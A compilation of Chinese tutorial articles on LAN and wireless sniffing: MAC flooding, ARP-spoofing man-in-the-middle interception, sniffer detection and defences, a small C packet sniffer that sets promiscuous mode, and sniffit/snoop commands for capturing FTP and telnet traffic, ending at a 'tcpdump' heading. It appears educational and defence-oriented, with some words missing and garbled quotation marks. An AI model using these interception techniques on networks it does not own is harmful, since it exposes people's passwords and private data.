不知道是谁第一个发现了这种攻击模式,大概是因为交换机的出现破坏了嗅探器的工作,所以一肚子气泄到了交换机身上,另一种看法则是精明的技术人员设想交换机的处理器在超过所能承受信息量的时候会发生什么情况而进行的试验,无论是从什么论点出发的,至少这个攻击模式已经成为现实了:所谓MAC洪水攻击,就是向交换机发送大量含有虚假MAC地址和IP地址的IP包,使交换机无法处理如此多的信息而引起设备工作异常,也就是所谓的“失效”模式,在这个模式里,交换机的处理器已经不能正常分析数据报和构造查询地址表了,然后,交换机就会成为一台普通的集线器,毫无选择的向所有端口发送数据,这个行为被称作“泛洪发送”,这样一来攻击者就能嗅探到所需数据了,

不过使用这个方法会为网络带来大量垃圾数据报文,对于监听者来说也不是什么好事,因此MAC洪水使用的案例比较少,而且设计了端口保护的交换机可能会在超负荷时强行关闭所有端口造成网络中断,所以如今,人们都偏向于使用地址解析协议ARP进行的欺骗性攻击。

(2).地址解析协议带来的噩梦

回顾前面提到的局域网寻址方式,我们已经知道两台计算机完成通讯依靠的是MAC地址而与IP地址无关,而目标计算机MAC地址的获取是通过ARP协议广播得到的,而获取的地址会保存在MAC地址表里并定期更新,在这个时间里,计算机是不会再去广播寻址信息获取目标MAC地址的,这就给了入侵者以可乘之机。

当一台计算机要发送数据给另一台计算机时,它会以IP地址为依据首先查询自身的ARP地址表,如果里面没有目标计算机的MAC信息,它就触发ARP广播寻址数据直到目标计算机返回自身地址报文,而一旦这个地址表里存在目标计算机的MAC信息,计算机就直接把这个地址作为数据链路层的以太网地址头部封装发送出去。为了避免出现MAC地址表保持着错误的数据,系统在一个指定的时期过后会清空MAC地址表,重新广播获取一份地址列表,而且新的ARP广播可以无条件覆盖原来的MAC地址表。

假设局域网内有两台计算机A和B在通讯,而计算机C要作为一个 者的身份得到这两台计算机的通讯数据,那么它就必须想办法让自己能插入两台计算机之间的数据线路里,而在这种一对一的交换式网络里,计算机C必须成为一个中间设备才能让数据得以经过它,要实现这个目标,计算机C就要开始伪造虚假的ARP报文。

ARP寻址报文分两种,一种是用于发送寻址信息的ARP查询包,源机器使用它来广播寻址信息,另一种则是目标机器的ARP应答包,用于回应源机器它的MAC地址,在 存在的情况下,如果计算机C要 计算机A的通讯,它就伪造一个IP地址为计算机B而MAC地址为计算机C的虚假ARP应答包发送给计算机A,造成计算机A的MAC地址表错误更新为计算机B的IP对应着计算机C的MAC地址的情况,这样一来,系统通过IP地址获得的MAC地址都是计算机C的,数据就会发给以监听身份出现的计算机C了。但这样会造成一种情况就是作为原目标方的计算机B会接收不到数据,因此充当假冒数据接收角色的计算机C必须担当一个转发者的角色,把从计算机A发送的数据返回给计算机B,让两机的通讯正常进行,这样,计算机C就和计算机AB形成了一个通讯链路,而对于计算机A和B而言,计算机C始终是透明存在的,它们并不知道计算机C在偷听数据的传播。只要计算机C在计算机A重新发送ARP查询包前及时伪造虚假ARP应答包就能维持着这个通讯链路,从而获得持续的数据记录,同时也不会造成被监听者的通讯异常。

计算机C为了监听计算机A和B数据通讯而发起的这种行为,就是“ARP欺骗”(ARP Spoofing)或称“ARP攻击”(ARP Attacking),实际上,真实环境里的ARP欺骗除了嗅探计算机A的数据,通常也会顺便把计算机B的数据给嗅探了去,只要计算机C在对计算机A发送伪装成计算机B的ARP应答包的同时也向计算机B发送伪装成计算机A的ARP应答包即可,这样它就可作为一个双向代理的身份插入两者之间的通讯链路。

三. 围堵“耳朵”:局域网监听的防御

知道了局域网监听的实现,我们就不难重现开篇提及的检察员小洁的日记内容是如何被别人看到的了:虽然办公室的网络是交换式局域网,但是 者使用ARP欺骗工具篡改了小洁机器的MAC地址表,使小洁的机器发出的数据实际上是在 者机器里走一圈后才真正发送出去的,这时候只要小洁登录任何使用明文传输密码的网页表单,她输入的网址、用户名和密码就会被嗅探软件记录下来, 者只要使用这个密码登录网站,就可以把小洁写在日记本上的隐私一览无余了。

由此可见,由网络监听引发的信息泄漏后果是非常严重的,轻则隐私泄漏,重则因为银行密码、经过网络传输的文档内容失窃而导致无法计量的经济损失,因此,如何有效防止局域网监听,一直是令管理员操心的问题。

由于共享式局域网的局限性(集线器不会选择具体端口),在上面流通的数据基本上是“你有,我也有”的, 者连ARP信息都不需要更改,自然无法躲过被监听的命运,要解决这个问题,只能先把集线器更换为交换机,杜绝这种毫无隐私的数据传播方式。

好了,现在我们换到交换式局域网了,下一步,就该开始着手围堵这些不受欢迎的耳朵们了。

1.寻找隐匿的耳朵

如果我们怀疑某台机器在偷听数据,应该怎么办呢?

早在几年前,有一种被称为ping检测的方法就已经开始流行了,它的原理还是利用MAC地址自身,大部分网卡允许用户在驱动程序设置里自行指定一个MAC地址(特别说明:这种通过驱动程序指定的MAC地址仅仅能用于自身所处的局域网本身,并不能用于突破远程网关的MAC+IP绑定限制!),因此我们就可以利用这一特性让正在欺骗MAC地址的机器自食其果。

•假设IP为192.168.1.4的机器上装有ARP欺骗工具和嗅探器,所以ping 192.168.1.4,然后arp Ca | find “192.168.1.4” 得到它的MAC地址“00-00-0e-40-b4-a1”

•修改自己的网卡驱动设置页,改Network Address为“00000e40b4a2”,即去掉分隔符的MAC地址最末位加1

•再次ping 192.168.1.4,正常的话应该不会看到任何回应,因为局域网中不会存在任何与“00-00-0e-40-b4-a2”相符的MAC地址。

•如果看到返回,则说明192.168.1.4很可能装有嗅探器。

另一种比较“恶毒”的方法是对被怀疑安装了嗅探器的计算机发送大量不存在的MAC地址的数据报,由于监听程序在进行分析和处理大量的数据包需要占用很多的CPU资源,这将导致对方计算机性能下降,这样我们只要比较发送报文前后该机器性能就能加以判断,但是如果对方机器配置比较高,这个方法就不太有效了。

除了主动嗅探的行为,还有一些机器是被入侵者恶意种植了带有嗅探功能的后门程序,那么我们就必须使用本机测试法了,其原理是建立一个原始连接(Raw Socket)打开自己机器的随机端口,然后再建立一个UDP连接到自己机器的任意端口并随意发送一条数据,正常情况下,这个方法建立的原始连接是不可能成功接收数据的,如果原始连接能接收这个数据,则说明机器网卡正处于“混杂”模式――嗅探器经常这么干,接下来的事情就不用我说了吧?

但是基本上没找到现成的工具可以使用,也可能是我的查找能力问题,但是其实这个问题很好解决:因为安装了嗅探器的机器是能接收到任何数据的,那么只要在这个机器上再次安装一个嗅探软件(不是ARP欺骗类型!)就能“共享”捕获的数据,正常情况下我们是只能看到属于自己IP的网络数据的,如果不巧发现嗅探器把其它计算机的数据也顺手牵羊了,并且由于ARP欺骗的存在,我们还可能嗅探到自己的计算机会定期发送一条ARP应答包出去……既然都做得那么明显了,那就不要客气把它灭了……

2.预防为主――从根本上防御网络监听

虽然利用ARP欺骗报文进行的网络监听很难察觉,但它并不是无法防御的,与ARP寻址相对的,在一个相对稳定的局域网里(机器数量和网卡被更换的次数不多,也没有人一没事干就去更改自己IP),我们可以使用静态ARP映射,即记录下局域网内所有计算机的网卡MAC地址和对应的IP,然后使用“arp Cs IP地址 MAC地址”进行静态绑定,这样计算机就不会通过ARP广播来找人了,自然不会响应ARP欺骗工具发送的动态ARP应答包(静态地址的优先度大于动态地址),但是这个方法存在的劣势就是对操作用户要求挺高,要知道并不是所有人都理解MAC地址是干什么用的,另外一点就是如果机器数量过多或者变动频繁,会对操作用户(通常是网络管理员)造成巨大的心灵伤害……

因此,一般常用的方法是使用软件防御,例如Anti Arp Sniffer,它可以强行绑定本机与网关的MAC关系,让伪装成网关获取数据的监听机成了摆设,而如果是监听者仅仅欺骗了某台计算机的情况呢?这就要使用ARP Watch了,ARP Watch会实时监控局域网中计算机MAC地址和ARP广播报文的变化情况,如果有ARP欺骗程序发送虚假地址报文,必然会造成MAC地址表不符,ARP Watch就会弹出来警告用户了。

此外,对网络进行VLAN划分也是有效的方法,每个VLAN之间都是隔离的,必须通过路由进行数据传输,这个时候MAC地址信息会被丢弃,每台计算机之间都是采用标准TCP/IP进行数据传输的,即使存在嗅探器也无法使用虚假的MAC地址进行欺骗了。

四. 结语

网络监听技术作为一种工具,总是扮演着正反两方面的角色,尤其在局域网里更是经常以黑暗的身份出现。对于入侵者来说,通过网络监听可以很容易地获得用户的关键信息,因此他们青睐。而对于入侵检测和追踪者来说,网络监听技术又能够在与入侵者的斗争中发挥重要的作用,因此他们也离不开必要的嗅探。我们应该努力学习网络安全知识,进一步挖掘网络监听技术的细节,扎实掌握足够的技术基础,才能在与入侵者的斗争中取得胜利。

示意图(点击放大):

篇9:无线局域网防范策略 无线局域网嗅探技术

如何学习无线局域网嗅探技术,网络上有不少的方法,下面是学习方法的一个集锦,希望对广大爱好者有帮助,都是比较常用的方式,借机提供给大家。

无线局域网(WLAN)因其安装便捷、组网灵活的优点在许多领域获得了越来越广泛的应用,但由于它传送的数据利用无线电波在空中传播,发射的数据可能到达预期之外的接收设备,因而WLAN存在着网络信息容易被窃取的问题。

在网络上窃取数据就叫嗅探,它是利用计算机的网络接口截获网络中数据报文的一种技术。嗅探一般工作在网络的底层,可以在不易被察觉的情况下将网络传输的全部数据记录下来,从而捕获账号和口令、专用的或机密的信息,甚至可以用来危害网络邻居的安全或者用来获取更高级别的访问权限、分析网络结构进行网络渗透等。

WLAN中无线信道的开放性给网络嗅探带来了极大的方便。在WLAN中网络嗅探对信息安全的威胁来自其被动性和非干扰性,运行监听程序的主机在 的过程中只是被动的接收网络中传输的信息,它不会跟其它的主机交换信息,也不修改在网络中传输的信息包,使得网络嗅探具有很强的隐蔽性,往往让网络信息泄密变得不容易被发现。

尽管它没有对网络进行主动攻击和破坏的危害明显,但由它造成的损失也是不可估量的。只有通过分析网络嗅探的原理与本质,才能更有效地防患于未然,增强无线局域网的安全防护能力。

无线局域网嗅探技术原理

要理解网络嗅探的实质,首先要清楚数据在网络中封装、传输的过程。根据TCP/IP协议,数据包是经过层层封装后,再被发送的。假设客户机A、B和FTP服务器C通过接入点(AP)或其他无线连接设备连接,主机A通过使用一个FTP命令向主机C进行远程登录,进行文件下载。

那么首先在主机A上输入登录主机C的FTP口令,FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层包裹,最后送到了物理层,再通过无线的方式播发出去。

主机C接收到数据帧,并在比较之后发现是发给自己的,接下来它就对此数据帧进行分析处理。这时主机B也同样接收到主机A播发的数据帧,随后就检查在数据帧中的地址是否和自己的地址相匹配,发现不匹配就把数据帧丢弃。这就是基于TCP/IP协议通信的一般过程。

无线局域网嗅探技术就是从通信中捕获和解析信息。假设主机B想知道登陆服务器C的FTP口令是什么,那么它要做的就是捕获主机A播发的数据帧,对数据帧进行解析,依次剥离出以太帧头、IP包头、TCP包头等,然后对报头部分和数据部分进行相应的分析处理,从而得到包含在数据帧中的有用信息。

在实现嗅探时,首先设置用于无线局域网嗅探技术的计算机,即在嗅探机上装好无线网卡,并把网卡设置为混杂模式,

在混杂模式下,网卡能够接收一切通过它的数据包,进而对数据包解析,实现数据 。其次实现循环抓取数据包,并将抓到的数据包送入下一步的数据解析模块处理。最后进行数据解析,依次提取出以太帧头、IP包头、TCP包头等,然后对各个报头部分和数据部分进行相应的分析处理。

无线局域网嗅探技术相应防范策略

尽管嗅探隐蔽而不易被察觉,但并不是没有防范方法,下面的策略都能够防范无线局域网嗅探技术。

◆加强网络访问控制。一种极端的手段是通过房屋的电磁屏蔽来防止电磁波的泄漏,通过强大的网络访问控制可以减少无线网络配置的风险。同时配置勘测工具也可以测量和增强AP覆盖范围的安全性。虽然确知信号覆盖范围可以为WLAN安全提供一些有利条件,但这并不能成为一种完全的网络安全解决方案。攻击者使用高性能天线仍有可能在无线网络上嗅探到传输的数据。

◆网络设置为封闭系统。为了避免网络被NetStumbler之类的工具发现,应把网络设置为封闭系统。封闭系统是对SSID标为“any”的客户端不进行响应,并且关闭网络身份识别的广播功能的系统。它能够禁止非授权访问,但不能完全防止被无线局域网嗅探技术。

◆采用可靠的协议进行加密。如果用户的无线网络是用于传输比较敏感的数据,那么仅用WEP加密方式是远远不够的,需要进一步采用像电子邮件连接的SSL方式。它是一个介于HTTP协议与TCP协议之间的可选层,SSL是在TCP之上建立了一个加密通道,对通过这一层的数据进行加密,从而达到保密的效果。

使用安全Shell而不是Telnet也是必不可少的。SSH是一个在应用程序中提供安全通信的协议。连接是通过使用一种来自RSA的算法建立的。在授权完成后,接下来的通信数据是用IDEA技术来加密的。

SSH后来发展成为F-SSH,提供了高层次的、军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。目前,还没有人突破过这种加密方法。无线局域网嗅探技术到的信息自然将不再有任何价值。此外,使用安全拷贝而不是用文件传输协议也可以加强数据的安全性。

一次性口令技术。通常的计算机口令是静态的,极易被网上嗅探窃取。采用S/key一次性口令技术或其它一次性口令技术,能使 账号信息失去意义。S/key的原理是远程主机已得到一个口令(这个口令不会在不安全的网络中传输)。

当用户连接时会获得一个“质询”信息,用户将这个信息和口令经过某个算法运算,产生一个正确的“响应”信息(如果通信双方口令正确的话)。这种验证方式无需在网络中传输口令,而且相同的“质询/响应信息”也不会出现两次。

无线局域网嗅探技术实现起来比较简单,特别是借助良好的开发环境,可以通过编程轻松实现预期目的,但防范嗅探却相当困难。目前还没有一个切实可行、一劳永逸的方法。在尽量实现上面提到的安全措施外,还应注重不断提高网管人员的安全意识,做到多注意、勤检查。

篇10:嗅探的基本原理

一 前言

SNIFF真是一个古老的话题,关于在网络上采用SNIFF来获取敏感信息已经不是什么新鲜事,也不乏很多成功的案例,那么,SNIFF究竟是什么呢? SNIFF就是嗅探器,就是 ,SNIFF静悄悄的工作在网络的底层,把你的秘密全部记录下来,看过威尔史密斯演的《全民公敌》吗?SNIFF就象里面精巧的 一样,让你防不胜防。

SNIFF可以是软件,也可以是硬件,既然是软件那就要分平台,有WINDOWS下的、UNXI下的等,硬件的SNIFF称为网络分析仪,反正不管硬件软件,目标只有一个,就是获取在网络上传输的各种信息。本文仅仅介绍软件的SNIFF。

当你舒适的坐在家里,惬意的享受网络给你带来的便利,收取你的EMAIL,购买你喜欢的物品的时候,你是否会想到你的朋友给你的信件,你的信用卡帐号变成了一个又一个的信息包在网络上不停的传送着,你是否曾经这些信息包会通过网络流入别人的机器呢?你的担忧不是没有道理的,因为SNIFF可以让你的担忧变成实实在在的危险。就好象一个人躲在你身后偷看一样。。。。。。

二 网络基础知识

“网络基础知识”,是不是听起来有点跑题了?虽然听起来这和我们要谈的SNIFF没什么关系,可是还是要说一说的,万丈高楼平地起,如果连地基都没打好,怎么盖楼?!如果你对网络还不是十分清楚的话,最好能静下心来好好看看,要知道,这是基础的基础,在这里我只是简单的说一下,免得到时候有人迷糊,详细的最好能够自己去找书看看。

(1)TCP/IP体系结构

开放系统互连(OSI)模型将网络划分为七层模型,分别用以在各层上实现不同的功能,这七层分别为:应用层、表示层、会话层、传输层、网络层、数据链路层及物理层。而TCP/IP体系也同样遵循这七层标准,只不过在某些OSI功能上进行了压缩,将表示层及会话层合并入应用层中,所以实际上我们打交道的TCP/IP仅仅有5层而已,网络上的分层结构决定了在各层上的协议分布及功能实现,从而决定了各层上网络设备的使用。实际上很多成功的系统都是基于OSI模型的,如:如帧中继、ATM、ISDN等。

TCP/IP的网络体系结构(部分)

-----------------------------------

| SMTP | DNS | HTTP | FTP | TELNET| 应用层

-----------------------------------

| TCP | UDP| 传输层

-----------------------------------

| IP | ICMP | ARP RARP | 网络层

------------------------

| IEEE 802 以太网 SLIP/PPP PDN etc| 数据链路层

-----------------------------------

| 网卡 电缆 双绞线 etc | 物理层

-----------------------------------

从上面的图中我们可以看出,第一层物理层和第二层数据链路层是TCP/IP的基础,而TCP/IP本身并不十分关心低层,因为处在数据链路层的网络设备驱动程序将上层的协议和实际的物理接口隔离开来。网络设备驱动程序位于介质访问子层(MAC)。

(2)网络上的设备

中继器:中继器的主要功能是终结一个网段的信号并在另一个网段再生该信号,一句话,就是简单的放大而已,工作在物理层上。

网 桥:网桥使用MAC物理地址实现中继功能,可以用来分隔网段或连接部分异种网络,工作在数据链路层。

路由器:路由器使用网络层地址(IP,X.121,E.164等),主要负责数据包的路由寻径,也能处理物理层和数据链路层上的工作。

网 关:主要工作在网络第四层以上,主要实现收敛功能及协议转换,不过很多时候网关都被用来描述任何网络互连设备。

(3)TCP/IP与以太网

以太网和TCP/IP可以说是相互相成的,可以说两者的关系几乎是密不可分,以太网在一二层提供物理上的连线,而TCP/IP工作在上层,使用32位的IP地址,以太网则使用48位的MAC地址,两者间使用ARP和RARP协议进行相互转换。从我们上面TCP/IP的模型图中可以清楚的看到两者的关系。

载波监听/冲突检测(CSMA/CD)技术被普遍的使用在以太网中,所谓载波监听是指在以太网中的每个站点都具有同等的权利,在传输自己的数据时,首先监听信道是否空闲,如果空闲,就传输自己的数据,如果信道被占用,就等待信道空闲。而冲突检测则是为了防止发生两个站点同时监测到网络没有被使用时而产生冲突。以太网采用广播机制,所有与网络连接的工作站都可以看到网络上传递的数据。

为了加深你的理解,我们来看看下面的图,一个典型的在以太网中客户与服务器使用TCP/IP协议的通信。

用户进程 FTP客户 <-------------------------> FTP服务器 应用层

|  |

内核中的协议栈 TCP <-------------------------> TCP 传输层

|  |

内核中的协议栈 IP <-------------------------> IP 网络层

|  |

以太网驱动程序 <-------------------------> 以太网驱动程序 数据链路层

──────-------------------------------

以太网

??唆唆了这么多,有人烦了吧?相信我,这是基础的基础,可以说是说得是很简单拉,如果需要,拿出个几十万字来说上面的内容,我想也不嫌多,好了,让我们进入下一节,sniff的原理。

三 SNIFF的原理

要知道在以太网中,所有的通讯都是广播的,也就是说通常在同一个网段的所有网络接口都可以访问在物理媒体上传输的所有数据,而每一个网络接口都有一个唯一的硬件地址,这个硬件地址也就是网卡的MAC地址,大多数系统使用48比特的地址,这个地址用来表示网络中的每一个设备,一般来说每一块网卡上的MFC地址都是不同的,每个网卡厂家得到一段地址,然后用这段地址分配给其生产的每个网卡一个地址。在硬件地址和IP地址间使用ARP和RARP协议进行相互转换。

在正常的情况下,一个网络接口应该只响应这样的两种数据帧:

1.与自己硬件地址相匹配的数据帧。 2.发向所有机器的广播数据帧。

在一个实际的系统中,数据的收发是由网卡来完成的,网卡接收到传输来的数据,网卡内的单片程序接收数据帧的目的MAC地址,根据计算机上的网卡驱动程序设置的接收模式判断该不该接收,认为该接收就接收后产生中断信号通知CPU,认为不该接收就丢掉不管,所以不该接收的数据网卡就截断了,计算机根本就不知道。CPU得到中断信号产生中断,操作系统就根据网卡的驱动程序设置的网卡中断程序地址调用驱动程序接收数据,驱动程序接收数据后放入信号堆栈让操作系统处理。而对于网卡来说一般有四种接收模式:

广播方式:该模式下的网卡能够接收网络中的广播信息。 组播方式:设置在该模式下的网卡能够接收组播数据。 直接方式:在这种模式下,只有目的网卡才能接收该数据。混杂模式:在这种模式下的网卡能够接收一切通过它的数据,而不管该数据是否是传给它的。

好了,现在我们总结一下,首先,我们知道了在以太网中是基于广播方式传送数据的,也就是说,所有的物理信号都要经过我的机器,再次,网卡可以置于一种模式叫混杂模式(promiscuous),在这种模式下工作的网卡能够接收到一切通过它的数据,而不管实际上数据的目的地址是不是他。这实际上就是我们SNIFF工作的基本原理:让网卡接收一切他所能接收的数据。

(图一)

我们来看一个简单的例子,如图一所示,机器A、B、C与集线器HUB相连接,集线器HUB通过路由器Router访问外部网络。这是一个很简单也很常见的情况,比如说在公司大楼里,我所在的网络部办公室里的几台机器通过集线器连接,而网络部、开发部、市场部也是同样如此,几个部门的集线器通过路由器连接。还是回到我们的图一上来,值得注意的一点是机器A、B、C使用一个普通的HUB连接的,不是用SWITCH,也不是用ROUTER,使用SWITCH和ROUTER的情况要比这复杂得多。

我们假设一下机器A上的管理员为了维护机器C,使用了一个FTP命令向机器C进行远程登陆,那么在这个用HUB连接的网络里数据走向过程是这样的。首先机器A上的管理员输入的登陆机器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层的包裹,最后送到了物理层,我们的网线上。接下来数据帧送到了HUB上,现在由HUB向每一个接点广播由机器A发出的数据帧,机器B接收到由HUB广播发出的数据帧,并检查在数据帧中的地址是否和自己的地址相匹配,发现不是发向自己的后把这数据帧丢弃,不予理睬。而机器C也接收到了数据帧,并在比较之后发现是发现自己的,接下来他就对这数据帧进行分析处理。

在上面这个简单的例子中,机器B上的管理员如果很好奇,他很想知道究竟登陆机器C上FTP口令是什么?那么他要做的很简单,仅仅需要把自己机器上的网卡置于混杂模式,并对接收到的数据帧进行分析,从而找到包含在数据帧中的口令信息。

四 做一个自己的sniff

在上一节里,我们已经知道了SNIFF的基本原理是怎么一回事,这一节我们来亲自动手做一个自己的sniff,毕竟,用程序代码来说话比什么都要来得真实,也容易加深理解。

回头想一想我们上面说的原理,我们要做的事情有几件:

1. 把网卡置于混杂模式。 2. 捕获数据包。3. 分析数据包。

注:下面的源代码取至Chad Renfro的<< Basic Packet-Sniffer Construction from the Ground Up>>一文中

/************************Tcp_sniff_2.c********************/

1.#include

2.#include

3.#include

4.#include

5.#include

6.#include

7.#include

8.#include

9.#include ”headers.h“

#define INTERFACE ”eth0“

/*Prototype area*/

10.int Open_Raw_Socket(void);

11.int Set_Promisc(char *interface, int sock);

12.int main() {

13.int sock, bytes_recieved, fromlen;

14.char buffer[65535];

15.struct sockaddr_in from;

16.struct ip *ip;

17.struct tcp *tcp;

18.sock = Open_Raw_Socket();

19. Set_Promisc(INTERFACE, sock);

20. while(1)

22. {

23. fromlen = sizeof from;

24. bytes_recieved = recvfrom(sock, buffer, sizeof buffer, 0, (struct sockaddr *)&from, &fromlen);

25. printf(”nBytes received ::: %5dn“,bytes_recieved);

26. printf(”Source address ::: %sn“,inet_ntoa(from.sin_addr));

27. ip = (struct ip *)buffer;

/*See if this is a TCP packet*/

28. if(ip->ip_protocol == 6) {

29. printf(”IP header length ::: %dn“,ip->ip_length);

30. printf(”Protocol ::: %dn“,ip->ip_protocol);

31. tcp = (struct tcp *)(buffer + (4*ip->ip_length));

32. printf(”Source port ::: %dn“,ntohs(tcp->tcp_source_port));

33. printf(”Dest port ::: %dn“,ntohs(tcp->tcp_dest_port));

34. }

35. }

36.}

37.int Open_Raw_Socket() {

38. int sock;

39. if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {

/*Then the socket was not created properly and must die*/

40. perror(”The raw socket was not created“);

41. exit(0);

42. };

43. return(sock);

44. }

45.int Set_Promisc(char *interface, int sock ) {

46. struct ifreq ifr;

47. strncpy(ifr.ifr_name, interface,strnlen(interface)+1);

48. if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {

/*Could not retrieve flags for the interface*/

49. perror(”Could not retrive flags for the interface“);

50. exit(0);

51. }

52. printf(”The interface is ::: %sn“, interface);

53. perror(”Retrieved flags from interface successfully“);

54. ifr.ifr_flags |= IFF_PROMISC;

55. if (ioctl (sock, SIOCSIFFLAGS, &ifr) == -1 ) {

/*Could not set the flags on the interface */

56. perror(”Could not set the PROMISC flag:“);

57. exit(0);

58. }

59. printf(”Setting interface ::: %s ::: to promisc“, interface);

60. return(0);

61. }

/***********************EOF**********************************/

上面这段程序中有很详细的注解,不过我想还是有必要说一说,首先第10行--int Open_Raw_Socket(void); 是我们的自定义函数,具体内容如下:

37.int Open_Raw_Socket() {

38. int sock;

39. if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {

/*Then the socket was not created properly and must die*/

40. perror(”The raw socket was not created“);

41. exit(0);

42. };

43. return(sock);

44. }

第39行 if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {

这里我们调用了socket函数,使创建了了一个原始套接口,使之收到TCP/IP信息包。

接下来第11行-int Set_Promisc(char *interface, int sock),这也是我们的自定义函数,目的是把网卡置于混杂模式,具体内容如下:

45.int Set_Promisc(char *interface, int sock ) {

46. struct ifreq ifr;

47. strncpy(ifr.ifr_name, interface,strnlen(interface)+1);

48. if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {

/*Could not retrieve flags for the interface*/

49. perror(”Could not retrive flags for the interface“);

50. exit(0);

51. }

52. printf(”The interface is ::: %sn“, interface);

53. perror(”Retrieved flags from interface successfully“);

54. ifr.ifr_flags |= IFF_PROMISC;

55. if (ioctl (sock, SIOCSIFFLAGS, &ifr) == -1 ) {

/*Could not set the flags on the interface */

56. perror(”Could not set the PROMISC flag:“);

57. exit(0);

58. }

59. printf(”Setting interface ::: %s ::: to promisc“, interface);

60. return(0);

61. }

首先 struct ifreq ifr; 定一了一个ifrreg的结构ifr,接下来 strncpy(ifr.ifr_name, interface,strnlen(interface)+1);,就是把我们网络设备的名字填充到ifr结构中,在这里 #define INTERFACE ”eth0“ ,让我们再往下看,ioctl(sock, SIOCGIFFLAGS, &ifr),SIOCGIFFLAGS请求表示需要获取接口标志,现在到了第54行,在我们成功的获取接口标志后把他设置成混杂模式,ifr.ifr_flags |= IFF_PROMISC;ioctl (sock, SIOCSIFFLAGS, &ifr)。OK,现在我们所说的第一步已经完成--------把网卡置于混杂模式。

现在进入第二步,捕获数据包。从第20行开始,我们进入了一个死循环,while(1),在第24行,recvfrom(sock, buffer, sizeof buffer, 0, (struct sockaddr *)&from, &fromlen),这个函数要做的就是接收数据,冰把接收到的数据放入buffer中。就是这么简单,已经完成了我们要捕获数据包的任务。

到了第三步,分析数据包。27行,ip = (struct ip *)buffer,使我们在头文件中的IP结构对应于所接收到的数据,接下来判断在网络层中是否使用的是TCP协议,if(ip->ip_protocol == 6) ,如果答案是,tcp信息包从整个IP/TCP包 buffer + (4*ip->ip_length) 地址处开始,所以31行 tcp = (struct tcp *)(buffer + (4*ip->ip_length)),然后对应结构把你所需要的信息输出。

/*************************headers.h**************************/

/*structure of an ip header*/

struct ip {

unsigned int ip_length:4; /*little-endian*/

unsigned int ip_version:4;

unsigned char ip_tos;

unsigned short ip_total_length;

unsigned short ip_id;

unsigned short ip_flags;

unsigned char ip_ttl;

unsigned char ip_protocol;

unsigned short ip_cksum;

unsigned int ip_source; unsigned int ip_dest;

};

/* Structure of a TCP header */

struct tcp {

unsigned short tcp_source_port;

unsigned short tcp_dest_port;

unsigned int tcp_seqno;

unsigned int tcp_ackno;

unsigned int tcp_res1:4, /*little-endian*/

tcp_hlen:4,

tcp_fin:1,

tcp_syn:1,

tcp_rst:1,

tcp_psh:1,

tcp_ack:1,

tcp_urg:1,

tcp_res2:2;

unsigned short tcp_winsize;

unsigned short tcp_cksum;

unsigned short tcp_urgent;

};

/*********************EOF***********************************/

从上面的分析我们可以清楚的认识到,认识一个SNIFF需要对TCP/IP协议有着详细的了解,否则你根本无法找到你需要的信息。有了上面的基础,你可以自己来做一个你需要的SNIFF了,

五 常用的SNIFF

很少有原因会让你自己亲自动手来做一个自己的SNIFF,除非你是想了解他的原理,或者是其他一些特别的原因,比如你要在某个特殊的环境拦截一些特殊的数据包。下面我们就来看看一些在网络上经常使用的SNIFF。

(1)windows环境下

windows环境下当然是大名鼎鼎的netxray以及sniffer pro了,实际上很多人都是用他在windows环境下抓包来分析,不过我想很少有人笨到去在别人的机器上安装一个图形界面的SNIFF,除非他和管理员很熟悉........ netxray的使用就不多说了,反正windows下的东西就是click,click,click,非常的方便用户。

(2)UNUX环境下

UNUX环境下的sniff可以说是百花齐放,一抓就是一大把,如sniffit,snoop,tcpdump,dsniff等都是比较常见的,他们都有一个好处就是发布源代码,可以让你研究,当然也都是免费的:)

1. sniffit

sniffit可以运行在Solaris、SGI和Linux等平台上,由Lawrence Berkeley Laboratory 实验室开发的一个免费的网络监听软件。最近Sniffit 0.3.7也推出了NT版本,并也支持WINDOWS2000.

使用方法:

-v 显示版本信息

-a 以ASCII形式将监听的结果输出。

-A 在进行记录时,所有不可打印的字符都用代替

-b 等同于同时使用参数-t & -s。

-d 将监听所得内容以十六进制方式显示在当前终端

-p 记录连接到的包,0为所有端口。缺省为0。

-P protocol 选择要检查的协议,缺省为TCP。可能的选择有IP、TCP、ICMP、UDP和他们的组合。

-s 指定sniffer 检查从 发送的数据包。 -t 指定sniffer 检查发送到的数据包。

-i 进入交互模式

-l 设定数据包大小,default是300字节

注:参数可以用@来表示一个IP范围,比如 -t 192.168.@ -t和-s 只适用于TCP/UDP数据包,对于ICMP和IP也进行解释。但如果只选择了-p参数,则只用于TCP和UDP包。

举例说明:

#sniffit -a -p 21 -t xxx.xxx.xxx.xxx

监听流向机器xxx.xxx.xxx.xxx的21端口(FTP)的信息,并以ASCII显示

#sniffit -d -p 23 -b xxx.xxx.xxx.xxx

监听所有流出或流入机器xxx.xxx.xxx.xxx的23端口(telnet)的信息,并以16进制显示

你可以在这里找到sniffit reptile.rug.ac.be/~coder/sniffit/sniffit.html

2. snoop

snoop默认情况安装在Solaris下,是一个用于显示网络交通的程序,不过SNIFF是把双刃剑,既然管理员能用他来监视自己的网络,当然一个心怀恶意的入侵者也可以用他来SNIFF自己感兴趣的内容。值得一提的是, SNOOP被发现存在一个缓冲区溢出漏洞,当以导致入侵者以运行snoop(通常为root)的身份远程进入系统。这是题外话,暂且就此打住。

使用方法:

[ -a ] # Listen to packets on audio

[ -d device ] # settable to le?, ie?, bf?, tr?

[ -s snaplen ] # Truncate packets

[ -c count ] # Quit after count packets

[ -P ] # Turn OFF promiscuous mode

[ -D ] # Report dropped packets

[ -S ] # Report packet size

[ -i file ] # Read previously captured packets

[ -o file ] # Capture packets in file

[ -n file ] # Load addr-to-name table from file

[ -N ] # Create addr-to-name table

[ -t r|a|d ] # Time: Relative, Absolute or Delta

[ -v ] # Verbose packet display

[ -V ] # Show all summary lines

[ -p first[,last] ] # Select packet(s) to display

[ -x offset[,length] ] # Hex dump from offset for length

[ -C ] # Print packet filter code

例如:

#snoop -o saved A B

监听机器A与B的谈话,并把内容存储于文件saved中

3. tcpdump

